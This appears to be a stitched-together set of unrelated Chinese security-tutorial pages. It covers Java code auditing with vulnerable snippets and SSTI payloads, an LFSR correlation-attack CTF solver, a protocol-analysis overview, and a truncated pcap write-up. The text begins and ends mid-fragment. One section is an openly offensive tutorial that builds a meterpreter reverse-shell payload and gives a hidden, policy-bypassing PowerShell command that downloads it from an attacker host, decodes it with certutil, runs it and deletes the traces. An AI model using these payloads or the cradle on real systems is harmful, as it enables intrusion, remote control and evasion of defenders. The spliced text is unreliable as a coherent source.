Atlassian's Jira](https://confluence.atlassian.com/agile066/jira-agile-user-s-guide/using-keyboard-shortcuts) _(confluence.atlassian.com)_
sec-knowleage
# JAVA代码审计 --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **相关文章** - [一次从内网到外网,黑盒到白盒的批量挖洞经历](http://www.0dayhack.net/index.php/1957/) - [java审计基础](https://mp.weixin.qq.com/s/cHMNjKDSjK5aSoMHjRWUcg) - [简单java代码审计?](https://mp.weixin.qq.com/s/88Tsr8NBX03sFlG1Vfz-aw) - [代码审计_Sylon的博客-CSDN博客_代码审计](https://blog.csdn.net/qq_41770175/article/details/93486383) - [记一次对“天猫”商城系统的漏洞挖掘](https://mp.weixin.qq.com/s/fNAis5Da9ae2OI3ZUJ9zjw) - [【Java 代码审计入门-01】审计前的准备](https://www.cnpanda.net/codeaudit/588.html) - [ofCMS代码审计](https://xz.aliyun.com/t/10509) **相关资源** - [Cryin/JavaID](https://github.com/Cryin/JavaID) - java source code static code analysis and danger function identify prog - [j3ers3/Hello-Java-Sec](https://github.com/j3ers3/Hello-Java-Sec) - ☕️ Java Security,安全编码和代码审计 - [JoyChou93/java-sec-code](https://github.com/JoyChou93/java-sec-code) - Java web common vulnerabilities and security code which is base on springboot and spring security - [cn-panda/JavaCodeAudit](https://github.com/cn-panda/JavaCodeAudit) - Getting started with java code auditing 代码审计入门的小项目 - [proudwind/javasec_study](https://github.com/proudwind/javasec_study) - [javaweb-rasp/javaweb-vuln](https://github.com/javaweb-rasp/javaweb-vuln) - RASP 测试靶场 - [ffffffff0x/JVWA](https://github.com/ffffffff0x/JVWA) - java 代码审计学习靶场 **相关工具** - [wh1t3p1g/tabby](https://github.com/wh1t3p1g/tabby) - A CAT called tabby (Code Analysis Tool) --- ## 硬编码 **通用关键词** - [APIkey/密钥信息通用关键词](../../信息收集/信息收集.md#通用关键词) --- ## JAVA反序列化 - [JAVA反序列化](./JAVA反序列化.md) --- ## SPel注入 - [SpEL注入](./SpEL注入.md) --- ## Autobinding **描述** Autobinding-自动绑定漏洞,根据不同语言/框架,该漏洞有几个不同的叫法,如下: * Mass Assignment: Ruby on Rails, NodeJS * Autobinding: Spring MVC, ASP.NET MVC * Object injection: PHP(对象注入、反序列化漏洞) 软件框架有时允许开发人员自动将 HTTP 请求参数绑定到程序代码变量或对象中,从而使开发人员更容易地使用该框架。这里攻击者就可以利用这种方法通过构造 http 请求,将请求参数绑定到对象上,当代码逻辑使用该对象参数时就可能产生一些不可预料的结果。 **相关文章** - [【技术分享】自动绑定漏洞和Spring MVC](https://www.anquanke.com/post/id/86278) - [自动绑定漏洞](https://blog.csdn.net/qq_34101364/article/details/109732337) - [Spring MVC Autobinding漏洞实例初窥](https://xz.aliyun.com/t/1089) **漏洞示例** 示例代码以 [ZeroNights-HackQuest-2016](https://github.com/GrrrDog/ZeroNights-HackQuest-2016) 的 demo 为例,把示例中的 justiceleague 程序运行起来,可以看到这个应用菜单栏有 about,reg,Sign up,Forgot password 这 4 个页面组成。我们关注的点是密码找回功能,即怎么样绕过安全问题验证并找回密码。 1)首先看 reset 方法,把不影响代码逻辑的删掉。这样更简洁易懂: ```java @Controller @SessionAttributes("user") public class ResetPasswordController { private UserService userService; ... @RequestMapping(value = "/reset", method = RequestMethod.POST) public String resetHandler(@RequestParam String username, Model model) { User user = userService.findByName(username); if (user == null) { return "reset"; } model.addAttribute("user", user); return "redirect: resetQuestion"; } } ``` 这里从参数获取 username 并检查有没有这个用户,如果有则把这个 user 对象放到 Model 中。因为这个 Controller 使用了 `@SessionAttributes("user")`,所以同时也会自动把 user 对象放到 session 中。然后跳转到 resetQuestion 密码找回安全问题校验页面。 2)resetQuestion 密码找回安全问题校验页面有 `resetViewQuestionHandler` 这个方法展现 ```java @RequestMapping(value = "/resetQuestion", method = RequestMethod.GET) public String resetViewQuestionHandler(@ModelAttribute User user) { logger.info("Welcome resetQuestion ! " + user); return "resetQuestion"; } ``` 这里使用了 `@ModelAttribute User user`,实际上这里是从 session 中获取 user 对象。但存在问题是如果在请求中添加 user 对象的成员变量时则会更改 user 对象对应成员的值。 所以当我们给 resetQuestionHandler 发送 GET 请求的时候可以添加 “answer=hehe” 参数,这样就可以给 session 中的对象赋值,将原本密码找回的安全问题答案修改成“hehe”。这样在最后一步校验安全问题时即可验证成功并找回密码 **审计函数** 这种漏洞一般在比较多步骤的流程中出现,比如转账、找密等场景,也可重点留意几个注解如下: ``` @SessionAttributes @ModelAttribute ... ``` 更多信息可参考[Spring MVC Autobinding漏洞实例初窥](https://xianzhi.aliyun.com/forum/topic/1089/) **修复方案** Spring MVC 中可以使用 @InitBinder 注解,通过 WebDataBinder 的方法 setAllowedFields、setDisallowedFields 设置允许或不允许绑定的参数。 --- ## SSRF **描述** 相对于 php,在 java 中 SSRF 的利用局限较大,一般利用 http 协议来探测端口,利用 file 协议读取任意文件。常见的类中如 HttpURLConnection,URLConnection,HttpClients 中只支持 sun.net.www.protocol (java 1.8) 里的所有协议: http,https,file,ftp,mailto,jar,netdoc。 **相关文章** - [SSRF in JAVA](https://joychou.org/java/javassrf.html) - [九维团队-绿队(改进)| Java代码审计之SSRF](https://mp.weixin.qq.com/s/bF7wJpbN4BmvT8viWGW7hw) **漏洞示例** 此处以 HttpURLConnection 为例,示例代码片段如下: ```java String url = request.getParameter("picurl"); StringBuffer response = new StringBuffer(); URL pic = new URL(url); HttpURLConnection con = (HttpURLConnection) pic.openConnection(); con.setRequestMethod("GET"); con.setRequestProperty("User-Agent", "Mozilla/5.0"); BufferedReader in = new BufferedReader(new InputStreamReader(con.getInputStream())); String inputLine; while ((inputLine = in.readLine()) != null) { response.append(inputLine); } in.close(); modelMap.put("resp",response.toString()); return "getimg.htm"; ``` URLConnection类 ```java //urlConnection ssrf vul String url = request.getParameter("url"); URL u = new URL(url); URLConnection urlConnection = u.openConnection(); BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream())); //发起请求,触发漏洞 String inputLine; StringBuffer html = new StringBuffer(); while ((inputLine = in.readLine()) != null) { html.append(inputLine); } System.out.println("html:" + html.toString()); in.close(); ``` ImageIO类 ```java // ImageIO ssrf vul String url = request.getParameter("url"); URL u = new URL(url); BufferedImage img = ImageIO.read(u); // 发起请求,触发漏洞 ``` 其他类 ```java // Request漏洞示例 String url = request.getParameter("url"); return Request.Get(url).execute().returnContent().toString();//发起请求 // openStream漏洞示例 String url = request.getParameter("url"); URL u = new URL(url); inputStream = u.openStream(); //发起请求 // OkHttpClient漏洞示例 String url = request.getParameter("url"); OkHttpClient client = new OkHttpClient(); com.squareup.okhttp.Request ok_http = new com.squareup.okhttp.Request.Builder().url(url).build(); client.newCall(ok_http).execute(); //发起请求 // HttpClients漏洞示例 String url = request.getParameter("url"); CloseableHttpClient client = HttpClients.createDefault(); HttpGet httpGet = new HttpGet(url); HttpResponse httpResponse = client.execute(httpGet); //发起请求 ``` **审计函数** Java 中能发起网络请求的类: - HttpClient 类 - HttpURLConnection 类 - URLConnection 类 - URL 类 - OkHttp 类 - ImageIO 类 - Request 类 (Request 是对 HttpClient 类进行了封装的类,类似于 Python 的 requests 库。) 其中,仅支持 HTTP/HTTPS 协议的类(即类名或封装的类名带 http): - HttpClient 类 - HttpURLConnection 类 - OkHttp 类 - Request 类 支持 sun.net.www.protocol 所有协议的类: - URLConnection 类 - URL 类 - ImageIO 类 程序中发起 HTTP 请求操作一般在获取远程图片、页面分享收藏等业务场景, 在代码审计时可重点关注一些 HTTP 请求操作函数,如下: ``` HttpClient.execute HttpClient.executeMethod HttpURLConnection.connect HttpURLConnection.getInputStream URL.openStream URLConnection.getInputStream Request.Get.execute Request.Post.execute ImageIO.read OkHttpClient.newCall.execute HttpServletRequest BasicHttpRequest ``` **搜索正则** ``` HttpClient\.execute|HttpClient\.executeMethod|HttpURLConnection\.connect|HttpURLConnection\.getInputStream|URL\.openStream ``` **更多内容** - [SSRF](../../Web安全/Web_Generic/SSRF.md) --- ## SQLi **相关文章** - [【Java 代码审计入门-02】SQL 漏洞原理与实际案例介绍](https://www.cnpanda.net/codeaudit/600.html) - [简单谈一谈 Java 中的预编译](https://www.cnpanda.net/sec/589.html) **漏洞示例** 以 Mybatis 为例 ```sql select * from books where id= ${id} ``` **修复方案** Mybatis 框架 SQL 语句安全写法应使用 `#{}` , 避免使用动态拼接形式 `${}`。安全写法如下: ```sql select * from books where id= #{id} ``` 使用预编译,也可以预防 SQL 注入,例如 ```java public UserInfo UserInfoFoundDao(String id){ Connection conn = null; PreparedStatement ps = null; ResultSet rs = null; UserInfo userinfo = null; try{ Class.forName("com.mysql.cj.jdbc.Driver"); conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/sql","root","root"); String sql = "select * from userinfo where id = ?"; ps = conn.prepareStatement(sql); ps.setInt(1,id); rs = ps.executeQuery(); while(rs.next()){ userinfo = new UserInfo(); userinfo.setId(rs.getString("id")); userinfo.setName(rs.getString("name")); userinfo.setAge(rs.getInt("age")); userinfo.setContent(rs.getString("content")); userinfo.setAddress(rs.getString("address")); } ... return userinfo; } } ``` **搜索正则** ``` Mybatis order by \$\{.*\}|like \$\{.*\} \$\{.*\} ``` **更多内容** - [SQLi](../../Web安全/Web_Generic/SQLi.md) --- ## SSTI **相关文章** - [从ofcms的模板注入漏洞(CVE-2019-9614)浅析SSTI漏洞](https://blog.csdn.net/Alexz__/article/details/116400913) - [服务器端模版注入SSTI分析与归纳](https://tttang.com/archive/1412/) **更多内容** - [SSTI](../../Web安全/Web_Generic/SSTI.md) ### FreeMarker SSTI **描述** 模板文件存放在 Web 服务器上,当访问指定模版文件时, FreeMarker 会动态转换模板,用最新的数据内容替换模板中 `${...}` 的部分,然后返回渲染结果。 **FreeMarker 基础** - [FreeMarker](../../../../Develop/Java/笔记/Web/模版引擎/FreeMarker.md) **FreeMarker SSTI POC** ``` <#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")} <#assign value="freemarker.template.utility.Execute"?new()>${value("open /Applications/Calculator.app")} <#assign value="freemarker.template.utility.Execute"?new()>${value("id")} <#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()} <#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")</@value> ``` ### Velocity SSTI ### Thymeleaf SSTI **描述** Thymeleaf 具有预处理表达式的功能,预处理是在正常表达式之前完成的表达式的执行,允许修改最终将执行的表达式。 预处理的表达式与普通表达式完全一样,但被双下划线符号(如 `__${expression}__` )包围。 预处理可以解析执行表达式,也就是说找到一个可以控制预处理表达式的地方,让其解析执行我们的 payload 即可达到任意代码执行 **Thymeleaf 基础** - [Thymeleaf](../../../../Develop/Java/笔记/Web/模版引擎/Thymeleaf.md) **相关文章** - [Thymeleaf 模板漏洞分析](http://x2y.pw/2020/11/15/Thymeleaf-%E6%A8%A1%E6%9D%BF%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/) - [Java安全之Thymeleaf SSTI分析](https://www.anquanke.com/post/id/254519) **调试样本** - https://github.com/hex0wn/learn-java-bug/tree/master/thymeleaf-ssti **thymeleaf SSTI POC** 其实就是 SpEL 注入的 payload ``` ${T(java.lang.Runtime).getRuntime().exec("open -a Calculator")} ``` --- ## 文件上传漏洞 **相关文章** - [Java文件上传漏洞](https://zhuanlan.zhihu.com/p/431392700) **漏洞示例** 此处以 MultipartFile 为例,示例代码片段如下: ```java public String vul1(@RequestPart MultipartFile file) throws IOException { String fileName = file.getOriginalFilename(); String filePath = path + fileName; File dest = new File(filePath); Files.copy(file.getInputStream(), dest.toPath()); return "文件上传成功 : " + dest.getAbsolutePath(); } ``` 这里没有对后缀名做检测,同时还存在路径穿越漏洞,攻击者可以直接写计划任务到 /etc/cron.d/ 目录下 **审计函数** ``` MultipartFile newStandardMultipartFile getOriginalFilename ``` **搜索正则** ``` file\.getOriginalFilename\(\)|文件上传|文件|上传|uploadfile|upload ``` **更多内容** - [文件上传漏洞](../../Web安全/Web_Generic/Upload.md) ### getOriginalFilename() **描述** 在使用 SpringBoot 中当没有自己手动配置的情况下默认使用的是 StandardMultipartFile. 在这种情况下直接通过 getOriginalFilename 方法获取文件名后,不进行处理就使用会造成目录穿越漏洞。 - https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/web/multipart/MultipartFile.html#getOriginalFilename-- 如果配置了使用 CommonsMultipartFile 的 getOriginalFilename 方法对文件名进行了处理,在 windows 可以使用 `../..\\..\\` 绕过造成目录穿越漏洞,官方在 Spring >= 4.1.9.RELEASE 修复该问题. - https://github.com/spring-projects/spring-framework/releases/tag/v4.1.9.RELEASE **相关文章** - [原创 | 浅谈Springboot中的文件上传](https://mp.weixin.qq.com/s/wPgdnyv57qBwkHV0O60xIA) - [Spring MultipartFile 文件上传的潜在威胁](https://forum.butian.net/share/815) **相关的 issue** - https://github.com/spring-projects/spring-framework/issues/18237 - https://github.com/spring-projects/spring-framework/issues/26299 --- ## URL重定向 **漏洞示例** 示例代码片段如下: ```java public String vul(String url) { log.info(url); return"redirect:" + url; } ``` 这里没有对传入的参数 url 做任何判断,直接进行了重定向 **审计函数** java 程序中 URL 重定向的方法均可留意是否对跳转地址进行校验、重定向函数如下: ``` redirect: sendRedirect setHeader forward ... ``` **搜索正则** ``` redirect\:|sendRedirect|setHeader|forward|getHost\(\) ``` **更多内容** - [URL跳转漏洞](../../Web安全/Web_Generic/Web_Generic.md#URL跳转漏洞) ### getHost() **相关文章** - [任意URL跳转漏洞修复与JDK中getHost()方法之间的坑](https://cloud.tencent.com/developer/article/1420631) **反斜杠绕过** 有些业务使用 java.net.URL 包中的 `getHost()` 方法获取了将要跳转 URL 的 host,判断 host 是否为目标域 ```java @RequestMapping("/redirect/3") public String vul3(String url) { String host = ""; try { host = new URL(url).getHost(); } catch (MalformedURLException e) { e.printStackTrace(); } if (host.endsWith(".ffffffff0x.com")){ return"redirect:https://" + host; }else{ return"redirect:/error"; } } ``` `getHost()` 方法可以被反斜杠绕过,即 `?url=http://www.baidu.com%5Cwww.ffffffff0x.com` 会被代码认为是将要跳转到 ffffffff0x.com,而实际跳转到 www.baidu.com\www.ffffffff0x.com,最终还是跳到 www.baidu.com 的服务器。 **通过 # 井号绕过** `getHost()` 方法的结果在不同 JDK 版本中对井号 #的处理结果不同,通常井号被用作页面锚点,对于 `https://www.aaa.com#www.bbb.com?x=123` 这个 URL,较高版本的 JDK 中,取出结果为 `www.aaa.com`,低版本中为 `www.aaa.com#www.bbb.com`,从而低版本又可绕过 `endsWith(".bbb.com")` 方法,成功跳转。 比如 JDK1.8.0_221 对 '\' 可以绕过,'#' 不可以绕过。JDK1.6.0_45 '\' 和 '#' 都可以绕过. --- ## CSRF **漏洞示例** 由于开发人员对 CSRF 的了解不足,错把 “经过认证的浏览器发起的请求” 当成 “经过认证的用户发起的请求”,当已认证的用户点击攻击者构造的恶意链接后就“被” 执行了相应的操作。例如,一个博客删除文章是通过如下方式实现的: ``` GET http://blog.com/article/delete.jsp?id=102 ``` 当攻击者诱导用户点击下面的链接时,如果该用户登录博客网站的凭证尚未过期,那么他便在不知情的情况下删除了 id 为 102 的文章,简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。 **漏洞审计** 此类漏洞一般都会在框架中解决修复,所以在审计 csrf 漏洞时。首先要熟悉框架对 CSRF 的防护方案,一般审计时可查看增删改请求重是否有 token、formtoken 等关键字以及是否有对请求的 Referer 有进行校验。手动测试时, 如果有 token 等关键则替换 token 值为自定义值并重放请求,如果没有则替换请求 Referer 头为自定义链接或置空。重放请求看是否可以成功返回数据从而判断是否存在 CSRF 漏洞。 **更多内容** - [CSRF](../../Web安全/Web_Generic/Web_Generic.md#CSRF) --- ## 命令执行 **漏洞示例** 此处以 getRuntime 为例,示例代码片段如下: ```java String cmd = request.getParameter("cmd"); Runtime.getRuntime().exec(cmd); ``` **审计函数** 这种漏洞原理上很简单,重点是找到执行系统命令的函数,看命令是否可控。在一些特殊的业务场景是能判断出是否存在此类功能,这里举个典型的实例场景, 有的程序功能需求提供网页截图功能,笔者见过多数是使用 phantomjs 实现,那势必是需要调用系统命令执行 phantomjs 并传参实现截图。而参数大多数情况下应该是当前 url 或其中获取相关参数,此时很有可能存在命令执行漏洞,还有一些其它比较特别的场景可自行脑洞。 java 程序中执行系统命令的函数如下: ``` Runtime.exec ProcessBuilder.start GroovyShell.evaluate ``` **搜索正则** ``` Runtime\.exec|ProcessBuilder\.start|GroovyShell\.evaluate ``` **更多内容** - [命令执行](../../Web安全/Web_Generic/RCE.md) --- ## 权限控制 **描述** 越权漏洞可以分为水平、垂直越权两种,程序在处理用户请求时未对用户的权限进行校验,使的用户可访问、操作其他相同角色用户的数据,这种情况是水平越权;如果低权限用户可访问、操作高权限用户则的数据,这种情况为垂直越权。 **漏洞示例** ```java @RequestMapping(value="/getUserInfo",method = RequestMethod.GET) public String getUserInfo(Model model, HttpServletRequest request) throws IOException { String userid = request.getParameter("userid"); if(!userid.isEmpty()){ String info=userModel.getuserInfoByid(userid); return info; } return ""; } ``` **审计函数** 水平、垂直越权不需关注特定函数,只要在处理用户操作请求时查看是否有对当前登陆用户权限做校验从而确定是否存在漏洞 **修复方案** 获取当前登陆用户并校验该用户是否具有当前操作权限,并校验请求操作数据是否属于当前登陆用户,当前登陆用户标识不能从用户可控的请求参数中获取。 --- ## 批量请求 **描述** 业务中经常会有使用到发送短信校验码、短信通知、邮件通知等一些功能,这类请求如果不做任何限制,恶意攻击者可能进行批量恶意请求轰炸,大量短信、邮件等通知对正常用户造成困扰,同时也是对公司的资源造成损耗。 除了短信、邮件轰炸等,还有一种情况也需要注意,程序中可能存在很多接口,用来查询账号是否存在、账号名与手机或邮箱、姓名等的匹配关系,这类请求如不做限制也会被恶意用户批量利用,从而获取用户数据关系相关数据。对这类请求在代码审计时可关注是否有对请求做鉴权、和限制即可大致判断是否存在风险。 **漏洞示例** ```java @RequestMapping(value="/ifUserExit",method = RequestMethod.GET) public String ifUserExit(Model model, HttpServletRequest request) throws IOException { String phone = request.getParameter("phone"); if(! phone.isEmpty()){ boolean ifex=userModel.ifuserExitByPhone(phone); if (!ifex) return "用户不存在"; } return "用户已被注册"; } ``` **修复方案** * 对同一个用户发起这类请求的频率、每小时及每天发送量在服务端做限制,不可在前端实现限制 --- ## XXE **漏洞示例** 此处以 org.dom4j.io.SAXReader 为例,仅展示部分代码片段: ```java String xmldata = request.getParameter("data"); SAXReader sax = new SAXReader(); // 创建一个SAXReader对象 Document document = sax.read(new ByteArrayInputStream(xmldata.getBytes())); // 获取document对象,如果文档无节点,则会抛出Exception提前结束 Element root = document.getRootElement(); //获取根节点 List rowList = root.selectNodes("//msg"); Iterator<?> iter1 = rowList.iterator(); if (iter1.hasNext()) { Element beanNode = (Element) iter1.next(); modelMap.put("success",true); modelMap.put("resp",beanNode.getTextTrim()); } ... ``` **审计函数** XML 解析一般在导入配置、数据传输接口等场景可能会用到,涉及到 XML 文件处理的场景可留意下 XML 解析器是否禁用外部实体,从而判断是否存在 XXE。部分 XML 解析接口如下: ``` javax.xml.parsers.DocumentBuilder javax.xml.stream.XMLStreamReader org.jdom.input.SAXBuilder org.jdom2.input.SAXBuilder javax.xml.parsers.SAXParser org.dom4j.io.SAXReader org.xml.sax.XMLReader javax.xml.transform.sax.SAXSource javax.xml.transform.TransformerFactory javax.xml.transform.sax.SAXTransformerFactory javax.xml.validation.SchemaFactory javax.xml.bind.Unmarshaller javax.xml.xpath.XPathExpression ... ``` **更多内容** - [XXE](../../Web安全/Web_Generic/XXE.md) --- ## 第三方组件安全 **描述** 这个比较好理解,诸如 Struts2、不安全的编辑控件、XML 解析器以及可被其它漏洞利用的如 commons-collections:3.1 等第三方组件,这个可以在程序 pom 文件中查看是否有引入依赖。即便在代码中没有应用到或很难直接利用,也不应该使用不安全的版本,一个产品的周期很长,很难保证后面不会引入可被利用的漏洞点。 **相关工具** - [墨菲安全](https://www.murphysec.com/) - https://github.com/murphysecurity/murphysec - 墨菲安全的 CLI 工具,用于在命令行检测指定目录代码的依赖安全问题,也可以基于 CLI 工具实现在 CI 流程的检测。 **修复方案** * 使用最新或安全版本的第三方组件
sec-knowleage
# 非线性反馈移位寄存器 ## 介绍 为了使得密钥流输出的序列尽可能复杂,会使用非线性反馈移位寄存器,常见的有三种 - 非线性组合生成器,对多个 LFSR 的输出使用一个非线性组合函数 - 非线性滤波生成器,对一个 LFSR 的内容使用一个非线性组合函数 - 钟控生成器,使用一个(或多个)LFSR 的输出来控制另一个(或多个)LFSR 的时钟 ## 非线性组合生成器 ### 简介 组合生成器一般如下图所示。 ### Geffe 这里我们以 Geffe 为例进行介绍。Geffe 包含 3 个线性反馈移位寄存器,非线性组合函数为 $F(x_1,x_2,x_3)=(x_1 \and x_2) \oplus (\urcorner x_1 \and x_3)=(x_1 \and x_2) \oplus ( x_1 \and x_3)\oplus x_3$ #### 2018 强网杯 streamgame3 简单看一下题目 ```python from flag import flag assert flag.startswith("flag{") assert flag.endswith("}") assert len(flag)==24 def lfsr(R,mask): output = (R << 1) & 0xffffff i=(R&mask)&0xffffff lastbit=0 while i!=0: lastbit^=(i&1) i=i>>1 output^=lastbit return (output,lastbit) def single_round(R1,R1_mask,R2,R2_mask,R3,R3_mask): (R1_NEW,x1)=lfsr(R1,R1_mask) (R2_NEW,x2)=lfsr(R2,R2_mask) (R3_NEW,x3)=lfsr(R3,R3_mask) return (R1_NEW,R2_NEW,R3_NEW,(x1*x2)^((x2^1)*x3)) R1=int(flag[5:11],16) R2=int(flag[11:17],16) R3=int(flag[17:23],16) assert len(bin(R1)[2:])==17 assert len(bin(R2)[2:])==19 assert len(bin(R3)[2:])==21 R1_mask=0x10020 R2_mask=0x4100c R3_mask=0x100002 for fi in range(1024): print fi tmp1mb="" for i in range(1024): tmp1kb="" for j in range(1024): tmp=0 for k in range(8): (R1,R2,R3,out)=single_round(R1,R1_mask,R2,R2_mask,R3,R3_mask) tmp = (tmp << 1) ^ out tmp1kb+=chr(tmp) tmp1mb+=tmp1kb f = open("./output/" + str(fi), "ab") f.write(tmp1mb) f.close() ``` 可以看出,该程序与 Geffe 生成器非常类似,这里我们使用相关攻击方法进行攻击,我们可以统计一下在三个 LFSR 输出不同的情况下,最后类 Geffe 生成器的输出,如下 | $x_1$ | $x_2$ | $x_3$ | $F(x_1,x_2,x_3)$ | | ----- | ----- | ----- | ---------------- | | 0 | 0 | 0 | 0 | | 0 | 0 | 1 | 1 | | 0 | 1 | 0 | 0 | | 0 | 1 | 1 | 0 | | 1 | 0 | 0 | 0 | | 1 | 0 | 1 | 1 | | 1 | 1 | 0 | 1 | | 1 | 1 | 1 | 1 | 可以发现 - Geffe 的输出与 $x_1$ 相同的概率为 0.75 - Geffe 的输出与 $x_2$ 相同的概率为 0.5 - Geffe 的输出与 $x_3$ 相同的概率为 0.75 这说明输出与第一个和第三个的关联性非常大。 因此,我们可以暴力去枚举第一个和第三个 LFSR 的输出判断其与 类 Geffe 的输出相等的个数,如果大约在 75% 的话,就可以认为是正确的。第二个就直接暴力枚举了。 脚本如下 ```python #for x1 in range(2): # for x2 in range(2): # for x3 in range(2): # print x1,x2,x3,(x1*x2)^((x2^1)*x3) #n = [17,19,21] #cycle = 1 #for i in n: # cycle = cycle*(pow(2,i)-1) #print cycle def lfsr(R, mask): output = (R << 1) & 0xffffff i = (R & mask) & 0xffffff lastbit = 0 while i != 0: lastbit ^= (i & 1) i = i >> 1 output ^= lastbit return (output, lastbit) def single_round(R1, R1_mask, R2, R2_mask, R3, R3_mask): (R1_NEW, x1) = lfsr(R1, R1_mask) (R2_NEW, x2) = lfsr(R2, R2_mask) (R3_NEW, x3) = lfsr(R3, R3_mask) return (R1_NEW, R2_NEW, R3_NEW, (x1 * x2) ^ ((x2 ^ 1) * x3)) R1_mask = 0x10020 R2_mask = 0x4100c R3_mask = 0x100002 n3 = 21 n2 = 19 n1 = 17 def guess(beg, end, num, mask): ansn = range(beg, end) data = open('./output/0').read(num) data = ''.join(bin(256 + ord(c))[3:] for c in data) now = 0 res = 0 for i in ansn: r = i cnt = 0 for j in range(num * 8): r, lastbit = lfsr(r, mask) lastbit = str(lastbit) cnt += (lastbit == data[j]) if cnt > now: now = cnt res = i print now, res return res def bruteforce2(x, z): data = open('./output/0').read(50) data = ''.join(bin(256 + ord(c))[3:] for c in data) for y in range(pow(2, n2 - 1), pow(2, n2)): R1, R2, R3 = x, y, z flag = True for i in range(len(data)): (R1, R2, R3, out) = single_round(R1, R1_mask, R2, R2_mask, R3, R3_mask) if str(out) != data[i]: flag = False break if y % 10000 == 0: print 'now: ', x, y, z if flag: print 'ans: ', hex(x)[2:], hex(y)[2:], hex(z)[2:] break R1 = guess(pow(2, n1 - 1), pow(2, n1), 40, R1_mask) print R1 R3 = guess(pow(2, n3 - 1), pow(2, n3), 40, R3_mask) print R3 R1 = 113099 R3 = 1487603 bruteforce2(R1, R3) ``` 运行结果如下 ```shell ➜ 2018-CISCN-start-streamgame3 git:(master) ✗ python exp.py 161 65536 172 65538 189 65545 203 65661 210 109191 242 113099 113099 157 1048576 165 1048578 183 1048580 184 1049136 186 1049436 187 1049964 189 1050869 190 1051389 192 1051836 194 1053573 195 1055799 203 1060961 205 1195773 212 1226461 213 1317459 219 1481465 239 1487603 1487603 now: 113099 270000 1487603 now: 113099 280000 1487603 now: 113099 290000 1487603 now: 113099 300000 1487603 now: 113099 310000 1487603 now: 113099 320000 1487603 now: 113099 330000 1487603 now: 113099 340000 1487603 now: 113099 350000 1487603 now: 113099 360000 1487603 ans: 1b9cb 5979c 16b2f3 ``` 从而 flag 为 flag{01b9cb05979c16b2f3}。 ## 题目 - 2017 WHCTF Bornpig - 2018 Google CTF 2018 Betterzip ## 参考 - https://www.rocq.inria.fr/secret/Anne.Canteaut/MPRI/chapter3.pdf - http://data.at.preempted.net/INDEX/articles/Correlation_Attacks_Geffe.pdf
sec-knowleage
### 协议分析概述 网络协议为计算机网络中进行数据交换而建立的规则、标准或约定的集合。例如,网络中一个微机用户和一个大型主机的操作员进行通信,由于这两个数据终端所用字符集不同,因此操作员所输入的命令彼此不认识。为了能进行通信,规定每个终端都要将各自字符集中的字符先变换为标准字符集的字符后,才进入网络传送,到达目的终端之后,再变换为该终端字符集的字符。当然,对于不相容终端,除了需变换字符集字符外还需转换其他特性,如显示格式、行长、行数、屏幕滚动方式等也需作相应的变换。 相应的,我们在协议分析这一章节中,将会从以下几个方面来介绍这一部分的知识: - `Wireshark` 常用功能的介绍 - `HTTP` 协议分析 - `HTTPS` 协议分析 - `FTP` 协议分析 - `DNS` 协议分析 - `WIFI` 协议分析 - `USB` 协议分析
sec-knowleage
第八季中提到了 certutil 的加密与解密。 ```bash C:\>certutil -encode c:\downfile.vbs downfile.bat ``` 而配合 powershell 的内存加载,则可把 certutil 发挥更强大。 **靶机:windows 2012** 而今天需要的是一款 powershell 的混淆框架的配合 https://github.com/danielbohannon/Invoke-CradleCrafter 使用方法: ```bash Import-Module ./Invoke-CradleCrafter.psd1 Invoke-CradleCrafter ``` ![](media/c62807cec766f0f6c92c2d821cd6ede3.jpg) ![](media/5fd8400f05ad1fe156649bb7d4ab2726.jpg) 如果在加载 powershell 脚本的时候提示:**powershell 进行数字签运行该脚本。** 则先执行: ```bash set-executionpolicy Bypass ``` 生成payload:(有关生成payload,会在未来的系列中讲到) ```bash root@John:/tmp# msfvenom ‐p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=53 ‐e cmd/powershell_base64 ‐f psh ‐o Micropoor.txt ``` ![](media/316a532d526b20050d34d02f8f06e952.jpg) ![](media/cfa22fb95c6b008829035e91928f47db.jpg) **启动apache:** ![](media/d34911ee8f5ed23aaef4fe39846d7c4d.jpg) **powershell框架设置:** SET URL http://192.168.1.5/Micropoor.txt ![](media/bc3142653214ae8fd411b32efcdb77a8.jpg) **MEMORY** ![](media/62d726b8feae58ada003965ac15cfe4a.jpg) **CERTUTIL** ![](media/b700f3bfebafc44073df52b62d79d73c.jpg) **ALL** ![](media/9b29ae29a5bf7fd27b9ded5b889844c4.jpg) **1** ![](media/f14a65e3707c230527b14312400969e0.jpg) **混淆内容保存txt,后进行encode** ![](media/17b242fcc60d1fa5eb54d8f2c6268331.jpg) 把 cer.cer 与 Micropoo.txt 放置同一目录下。 **目标机执行:** ```bash powershell.exe ‐Win hiddeN ‐Exec ByPasS add‐content ‐path %APPDATA%\\cer.cer (New‐Object Net.WebClient).DownloadString('http://192.168.1.5/cer.cer'); certutil ‐decode %APPDATA%\cer.cer %APPDATA%\stage.ps1 & start /b cmd /c powershell.exe ‐Exec Bypass ‐NoExit ‐File %APPDATA%\stage.ps1 & start /b cmd /c del %APPDATA%\cer.cer ``` > Micropoor
sec-knowleage
# admin panel Forensics, 150 points ## Description: > We captured some traffic logging into the admin panel, can you find the password? A pcap file was attached ("data.pcap"). ## Solution: We can use WireShark to inspect the network capture via a GUI, or `tshark` as a command line utility. First, we search for packets containing the word "password": ```console root@kali:/media/sf_CTFs/pico/admin_panel# tshark -nr data.pcap -Y 'frame contains "password"' 8 0.004782 192.168.3.128 → 192.168.3.129 HTTP 2354 HTTP/1.0 200 OK (text/html) 80 37556 17 12.370383 192.168.3.129 → 192.168.3.128 HTTP 522 POST /login HTTP/1.1 (application/x-www-form-urlencoded) 37894 80 21 12.373739 192.168.3.128 → 192.168.3.129 HTTP 569 HTTP/1.0 302 FOUND (text/html) 80 37894 27 12.434002 192.168.3.129 → 192.168.3.128 HTTP 480 GET /admin HTTP/1.1 37896 80 43 14.662211 192.168.3.129 → 192.168.3.128 